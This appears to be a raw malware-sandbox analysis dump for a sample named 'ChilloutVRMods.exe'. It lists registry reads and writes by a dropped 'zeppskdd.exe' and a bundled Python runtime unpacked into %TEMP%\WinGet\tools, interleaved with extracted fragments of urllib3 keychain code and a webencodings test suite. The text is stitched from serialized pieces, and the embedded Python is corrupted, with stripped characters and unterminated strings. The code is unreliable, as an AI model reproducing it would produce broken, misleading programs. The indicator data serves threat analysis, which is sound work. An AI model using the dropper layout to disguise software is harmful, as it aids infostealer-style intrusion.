base64.b16encode(random_bytes[:8]).decode("utf-8") password = base64.b16encode(random_bytes[8:]) # Must be valid UTF-8 tempdirectory = tempfile.mkdtemp() keychain_path = os.path.join(tempdirectory, filename).encode("utf-8") # We now want to create the keychain itself. keychain = Security.SecKeychainRef() status = Security.SecKeychainCreate( keychain_path, len(password), password, False, None, ctypes.byref(keychain) ) _assert_no_error(status) # Having created the keychain, we want to pass it off to the caller. return keychain, tempdirectorydef _load_items_from_file(keychain, path): """ Given a single file loads all the trust objects from it into arrays and the keychain. Returns a tuple of lists: the first list is a list of identities the second a list of certs. """ certificates = [] identities = [] result_array = None with open(path, "rb") as f: raw_filedata = f.read() try: filedata = CoreFoundation.CFDataCreate( CoreFoundation.kCFAllocatorDefault, raw_filedata, len(raw_filedata) ) result_array = CoreFoundation.CFArrayRef() result = Security.SecItemImport( filedata, # cert data None, # Filename, leaving it out for now None, # What the type of the file is, we don't care None, # what's in the file, we don't care 0, # import flags None, # key params, can include passphrase in the future keychain, # The keychain to insert into ctypes.byref(result_array), # Results ) _assert_no_error(result) # A CFArray is not very useful to us as an intermediary # representation, so we are going to extract the objects we want # and then free the array. We don't need to keep hold of keys: the # keychain already has them! result_count = CoreFoundation.CFArrayGetCount(result_array) for index in range(result_count): item = CoreFoundation.CFArrayGetValueAtIndex(result_array, index) item = ctypes.cast(item, CoreFoundation.CFTypeRef) if _is_cert(item): CoreFoundation.CFRetain(item) certificates.append(item) elif _is_identity(item): CoreFoundation.CFRetain(item) identities.append(item) finally: if result_array: CoreFoundation.CFRelease(result_array) CoreFoundation.CFRelease(filedata) return (identities, certificates)def _load_client_cert_chain(keychain, *paths): """ Load certificates and maybe keys from a number of files. Has the end goal of returning a CFArray containing one SecIdentityRef and then zero or more SecCertificateRef objects suitable for use as a client certificate trust chain. """ # Ok, the strategy. # # This relies on knowing that macOS will not give you a SecIdentityRef # unless you have imported a key into a keychain. This is a somewhat # artificial limitation of macOS (for example, it doesn't necessarily # affect iOS), but there is nothing inside Security.framework that lets you # get a SecIdentityRef without having a key in a keychain. # # So the policy here is we take all the files and iterate them in order. # Each one will use SecItemImport to have one or more objects loaded from # it. We will also point at a keychain that macOS can use to work with the # private key. # # Once we have all the objects, we'll check what we actually have. If we # already have a SecIdentityRef in hand, fab: we'll use that. Otherwise, # we'll take the first certificate (which we assume to be our leaf) and # ask the keychain to give us a SecIdentityRef with that cert's associated # key. # # We'll then return a CFArray containing the trust chain: one # SecIdentityRef and then zero-or-more SecCertificateRef objects. The # responsibility for freeing this CFArray will be with the caller. This # CFArray must remain alive for the entire connection, so in practice it # will be stored with a single SSLSocket, along with the reference to the # keychain. certificates = [] identities = [] # Filter out bad paths. paths = (path for path in paths if path) try: for file_path in paths: new_identities, new_certs = _load_items_from_file(keychain, file_path) identities.extend(new_identities) certificates.extend(new_certs) # Ok, we have everything. The question is: do we have an identity? If # not, we want to grab one from the first cert we have. if not identities: new_identity = Security.SecIdentityRef() status = Security.SecIdentityCreateWithCertificate( keychain, certificates[0], ctypes.byref(new_identity) ) _assert_no_error(status) identities.append(new_identity) # We now want to release the original certificate, as we no longer # need it. CoreFoundation.CFRelease(certificates.pop(0)) # We now need to build a new CFArray that holds the trust chain. trust_chain = CoreFoundation.CFArrayCreateMutable( CoreFoundation.kCFAllocatorDefault, 0, ctypes.byref(CoreFoundation.kCFTypeArrayCallBacks), ) for item in itertools.chain(identities, certificates): # ArrayAppendValue does a CFRetain on the item. That's fine, # because the finally block will release our other refs to them. CoreFoundation.CFArrayAppendValue(trust_chain, item) return trust_chain finally: for obj in itertools.chain(identities, certificates): CoreFoundation.CFRelease(obj)TLS_PROTOCOL_VERSIONS = { "SSLv2": (0, 2), "SSLv3": (3, 0), "TLSv1": (3, 1), "TLSv1.1": (3, 2), "TLSv1.2": (3, 3),def _build_tls_unknown_ca_alert(version): """ Builds a TLS alert record for an unknown CA. """ ver_maj, ver_min = TLS_PROTOCOL_VERSIONS[version] severity_fatal = 0x02 description_unknown_ca = 0x30 msg = struct.pack(">BB", severity_fatal, description_unknown_ca) msg_len = len(msg) record_type_alert = 0x15 record = struct.pack(">BBBH", record_type_alert, ver_maj, ver_min, msg_len) + msg return record" (Indicator: "----begin certificate----") in Source: low_level.py6e:Taed,"ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\ZEPPSKDD.EXE"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "")6f:Tdf8,"zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "614DD887303ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PERFLIB"; Key: "2001"; Value: "ACB93082313ADD0100") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "259ACAA5313ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "0B1276EF373ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "05A476E9383ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "90C351C0393ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7625BBBA3A3ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "308E1B913B3ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "A6F01D913B3ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "67F007913C3ADD010000000000000000000000000200000000") "cscript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT\SETTINGS\TELEMETRY\CSCRIPT.EXE"; Key: "VBSCRIPTSETSCRIPTSTATESTARTED"; Value: "cO46") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "55D54E24353ADD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C5855F24353ADD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C9375124353ADD010000000000000000000000000200000000")70:T10d4,"zeppskdd.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- Location: [%TEMP%\zeppskdd.exe]- [targetUID: 00000000-00004592] "python310.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\WinGet\tools\python310.dll]- [targetUID: 00000000-00004592] "libcrypto-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\WinGet\tools\DLLs\libcrypto-1_1.dll]- [targetUID: 00000000-00004592] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\sqlite3.dll]- [targetUID: 00000000-00004592] "libssl-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\WinGet\tools\DLLs\libssl-1_1.dll]- [targetUID: 00000000-00004592] "python.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\python.exe]- [targetUID: 00000000-00004592] "vcruntime140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\WinGet\tools\vcruntime140.dll]- [targetUID: 00000000-00008992] "pythonw.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\pythonw.exe]- [targetUID: 00000000-00004592] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%TEMP%\WinGet\tools\python3.dll]- [targetUID: 00000000-00004592] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\vcruntime140_1.dll]- [targetUID: 00000000-00008992] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\unicodedata.pyd]- [targetUID: 00000000-00004592] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_decimal.pyd]- [targetUID: 00000000-00004592] "pyparsing.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\pyparsing.py]- [targetUID: 00000000-00004592] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\pyexpat.pyd]- [targetUID: 00000000-00004592] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_ssl.pyd]- [targetUID: 00000000-00004592] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_lzma.pyd]- [targetUID: 00000000-00004592] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_elementtree.pyd]- [targetUID: 00000000-00004592] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_ctypes.pyd]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script Unicode text UTF-8 text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\__init__.py]- [targetUID: 00000000-00004592] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_sqlite3.pyd]- [targetUID: 00000000-00004592] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_bz2.pyd]- [targetUID: 00000000-00004592] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_socket.pyd]- [targetUID: 00000000-00004592] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_asyncio.pyd]- [targetUID: 00000000-00004592] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_hashlib.pyd]- [targetUID: 00000000-00004592] "unix_events.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\unix_events.py]- [targetUID: 00000000-00004592]71:T18b1,"# coding: utf-8 webencodings.tests ~~~~~~~~~~~~~~~~~~ A basic test suite for Encoding. :copyright: Copyright 2012 by Simon Sapin :license: BSD, see LICENSE for details.from __future__ import unicode_literalsfrom . import (lookup, LABELS, decode, encode, iter_decode, iter_encode, IncrementalDecoder, IncrementalEncoder, UTF8)def assert_raises(exception, function, *args, **kwargs): try: function(*args, **kwargs) except exception: return else: # pragma: no cover raise AssertionError('Did not raise %s.' % exception)def test_labels(): assert lookup('utf-8').name == 'utf-8' assert lookup('Utf-8').name == 'utf-8' assert lookup('UTF-8').name == 'utf-8' assert lookup('utf8').name == 'utf-8' assert lookup('utf8').name == 'utf-8' assert lookup('utf8 ').name == 'utf-8' assert lookup(' \r\nutf8\t').name == 'utf-8' assert lookup('u8') is None # Python label. assert lookup('utf-8') is None # Non-ASCII white space. assert lookup('US-ASCII').name == 'windows-1252' assert lookup('iso-8859-1').name == 'windows-1252' assert lookup('latin1').name == 'windows-1252' assert lookup('LATIN1').name == 'windows-1252' assert lookup('latin-1') is None assert lookup('LATN1') is None # ASCII-only case insensitivity.def test_all_labels(): for label in LABELS: assert decode(b'', label) == ('', lookup(label)) assert encode('', label) == b'' for repeat in [0, 1, 12]: output, _ = iter_decode([b''] * repeat, label) assert list(output) == [] assert list(iter_encode([''] * repeat, label)) == [] decoder = IncrementalDecoder(label) assert decoder.decode(b'') == '' assert decoder.decode(b'', final=True) == '' encoder = IncrementalEncoder(label) assert encoder.encode('') == b'' assert encoder.encode('', final=True) == b'' # All encoding names are valid labels too: for name in set(LABELS.values()): assert lookup(name).name == namedef test_invalid_label(): assert_raises(LookupError, decode, b'\xEF\xBB\xBF\xc3\xa9', 'invalid') assert_raises(LookupError, encode, '', 'invalid') assert_raises(LookupError, iter_decode, [], 'invalid') assert_raises(LookupError, iter_encode, [], 'invalid') assert_raises(LookupError, IncrementalDecoder, 'invalid') assert_raises(LookupError, IncrementalEncoder, 'invalid')def test_decode(): assert decode(b'\x80', 'latin1') == ('', lookup('latin1')) assert decode(b'\x80', lookup('latin1')) == ('', lookup('latin1')) assert decode(b'\xc3\xa9', 'utf8') == ('', lookup('utf8')) assert decode(b'\xc3\xa9', UTF8) == ('', lookup('utf8')) assert decode(b'\xc3\xa9', 'ascii') == ('', lookup('ascii')) assert decode(b'\xEF\xBB\xBF\xc3\xa9', 'ascii') == ('', lookup('utf8')) # UTF-8 with BOM assert decode(b'\xFE\xFF\x00\xe9', 'ascii') == ('', lookup('utf-16be')) # UTF-16-BE with BOM assert decode(b'\xFF\xFE\xe9\x00', 'ascii') == ('', lookup('utf-16le')) # UTF-16-LE with BOM assert decode(b'\xFE\xFF\xe9\x00', 'ascii') == ('\ue900', lookup('utf-16be')) assert decode(b'\xFF\xFE\x00\xe9', 'ascii') == ('\ue900', lookup('utf-16le')) assert decode(b'\x00\xe9', 'UTF-16BE') == ('', lookup('utf-16be')) assert decode(b'\xe9\x00', 'UTF-16LE') == ('', lookup('utf-16le')) assert decode(b'\xe9\x00', 'UTF-16') == ('', lookup('utf-16le')) assert decode(b'\xe9\x00', 'UTF-16BE') == ('\ue900', lookup('utf-16be')) assert decode(b'\x00\xe9', 'UTF-16LE') == ('\ue900', lookup('utf-16le')) assert decode(b'\x00\xe9', 'UTF-16') == ('\ue900', lookup('utf-16le'))def test_encode(): assert encode('', 'latin1') == b'\xe9' assert encode('', 'utf8') == b'\xc3\xa9' assert encode('', 'utf8') == b'\xc3\xa9' assert encode('', 'utf-16') == b'\xe9\x00' assert encode('', 'utf-16le') == b'\xe9\x00' assert encode('', 'utf-16be') == b'\x00\xe9'def test_iter_decode(): def iter_decode_to_string(input, fallback_encoding): output, _encoding = iter_decode(input, fallback_encoding) return ''.join(output) assert iter_decode_to_string([], 'latin1') == '' assert iter_decode_to_string([b''], 'latin1') == '' assert iter_decode_to_string([b'\xe9'], 'latin1') == ' assert iter_decode_to_string([b'hello'], 'latin1') == 'hello' assert iter_decode_to_string([b'he', b'llo'], 'latin1') == 'hello' assert iter_decode_to_string([b'hell', b'o'], 'latin1') == 'hello' assert iter_decode_to_string([b'\xc3\xa9'], 'latin1') == ' assert iter_decode_to_string([b'\xEF\xBB\xBF\xc3\xa9'], 'latin1') == ' assert iter_decode_to_string([ b'\xEF\xBB\xBF', b'\xc3', b'\xa9'], 'latin1') == ' assert iter_decode_to_string([ b'\xEF\xBB\xBF', b'a', b'\xc3'], 'latin1') == 'a\uFFFD' assert iter_decode_to_string([ b'', b'\xEF', b'', b'', b'\xBB\xBF\xc3', b'\xa9'], 'latin1') == ' assert iter_decode_to_string([b'\xEF\xBB\xBF'], 'latin1') == '' assert iter_decode_to_string([b'\xEF\xBB'], 'latin1') == ' assert iter_decode_to_string([b'\xFE\xFF\x00\xe9'], 'latin1') == ' assert iter_decode_to_string([b'\xFF\xFE\xe9\x00'], 'latin1') == ' assert iter_decode_to_string([ b'', b'\xFF', b'', b'', b'\xFE\xe9', b'\x00'], 'latin1') == ' assert iter_decode_to_string([ b'', b'h\xe9', b'llo'], 'x-user-defined') == 'h\uF7E9llo'def test_iter_encode(): assert b''.join(iter_encode([], 'latin1')) == b'' assert b''.join(iter_encode([''], 'latin1')) == b'' assert b''.join(iter_encode([''], 'latin1')) == b'\xe9' assert b''.join(iter_encode(['', '', '', ''], 'latin1')) == b'\xe9' assert b''.join(iter_encode(['', '', '', ''], 'utf-16')) == b'\xe9\x00' assert b''.join(iter_encode(['', '', '', ''], 'utf-16le')) == b'\xe9\x00' assert b''.join(iter_encode(['', '', '', ''], 'utf-16be')) == b'\x00\xe9' assert b''.join(iter_encode([ '', 'h\uF7E9', '', 'llo'], 'x-user-defined')) == b'h\xe9llo'def test_x_user_defined(): encoded = b'2,\x0c\x0b\x1aO\xd9#\xcb\x0f\xc9\xbbt\xcf\xa8\xca' decoded = '2,\x0c\x0b\x1aO\uf7d9#\uf7cb\x0f\uf7c9\uf7bbt\uf7cf\uf7a8\uf7ca' encoded = b'aa' decoded = 'aa' assert decode(encoded, 'x-user-defined') == (decoded, lookup('x-user-defined')) assert encode(decoded, 'x-user-defined') == encoded"72:T6bf1,"zeppskdd.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- Location: [%TEMP%\zeppskdd.exe]- [targetUID: 00000000-00004592] "python310.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\WinGet\tools\python310.dll]- [targetUID: 00000000-00004592] "libcrypto-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\WinGet\tools\DLLs\libcrypto-1_1.dll]- [targetUID: 00000000-00004592] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\sqlite3.dll]- [targetUID: 00000000-00004592] "libssl-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\WinGet\tools\DLLs\libssl-1_1.dll]- [targetUID: 00000000-00004592] "python.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\python.exe]- [targetUID: 00000000-00004592] "vcruntime140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\WinGet\tools\vcruntime140.dll]- [targetUID: 00000000-00008992] "pythonw.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\pythonw.exe]- [targetUID: 00000000-00004592] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%TEMP%\WinGet\tools\python3.dll]- [targetUID: 00000000-00004592] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\vcruntime140_1.dll]- [targetUID: 00000000-00008992] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\unicodedata.pyd]- [targetUID: 00000000-00004592] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_decimal.pyd]- [targetUID: 00000000-00004592] "pyparsing.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\pyparsing.py]- [targetUID: 00000000-00004592] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\pyexpat.pyd]- [targetUID: 00000000-00004592] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_ssl.pyd]- [targetUID: 00000000-00004592] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_lzma.pyd]- [targetUID: 00000000-00004592] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_elementtree.pyd]- [targetUID: 00000000-00004592] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_ctypes.pyd]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script Unicode text UTF-8 text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\__init__.py]- [targetUID: 00000000-00004592] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_sqlite3.pyd]- [targetUID: 00000000-00004592] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_bz2.pyd]- [targetUID: 00000000-00004592] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_socket.pyd]- [targetUID: 00000000-00004592] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_asyncio.pyd]- [targetUID: 00000000-00004592] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_hashlib.pyd]- [targetUID: 00000000-00004592] "unix_events.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\unix_events.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\collections\__init__.py]- [targetUID: 00000000-00004592] "ccompiler.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\distutils\ccompiler.py]- [targetUID: 00000000-00004592] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_overlapped.pyd]- [targetUID: 00000000-00004592] "selector_events.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\selector_events.py]- [targetUID: 00000000-00004592] "_zoneinfo.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_zoneinfo.pyd]- [targetUID: 00000000-00004592] "_msi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_msi.pyd]- [targetUID: 00000000-00004592] "six.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\six.py]- [targetUID: 00000000-00004592] "windows_events.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\windows_events.py]- [targetUID: 00000000-00004592] "tasks.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\tasks.py]- [targetUID: 00000000-00004592] "specifiers.py" has type "Python 